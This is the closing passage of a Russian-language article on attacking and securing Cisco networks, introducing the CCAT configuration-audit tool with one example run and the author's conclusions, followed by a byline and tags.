CCAT (Cisco Config Analysis Tool)  — это  спе­циаль­ный инс­тру­мент, соз­данный для  ана­лиза
фай­лов кон­фигура­ции обо­рудо­вания Cisco на пред­мет бре­шей в безопас­ности. Она поможет
авто­мати­зиро­вать про­цесс поис­ка мис­конфи­гура­ций безопас­ности и будет полез­на как пен-­
тесте­рам, так и сетевым адми­нис­тра­торам.

necreas1ng@Inguz:~/ccat$ python3 ccat.py showrunfromsw1.txt

CCAT анализирует файл конфигурации


CCAT ана­лизи­рует файл кон­фигура­ции

ВЫВОДЫ
Вот какие кош­мары могут воз­никнуть в сетях, где исполь­зует­ся обо­рудо­вание Cisco, если их
адми­нис­три­руют недаль­новид­ные сетевые инже­неры. На это иссле­дова­ние я пот­ратил пол-­
тора месяца и  был удив­лен, сколь­ко век­торов сущес­тву­ет при  ата­ке на  Cisco-based-сети.
Очень наде­юсь, что мое иссле­дова­ние подарит пен­тесте­рам новые век­торы атак, а сетевые
адми­нис­тра­торы задума­ются о защищен­ности сво­их сетей и при­мут меры.

Оцени статью:





in9uz
Security Engineer

 t.me/in6uz

Теги: Cisco FHRP Взлом Выбор редактора Маршрутизаторы пентест сети Статьи

 Подписаться  Вы вошли как in9uz | Выйти

Поделитесь своим мнением

{} [+]

0 КОММЕНТАРИЕВ   

Вам также может понравиться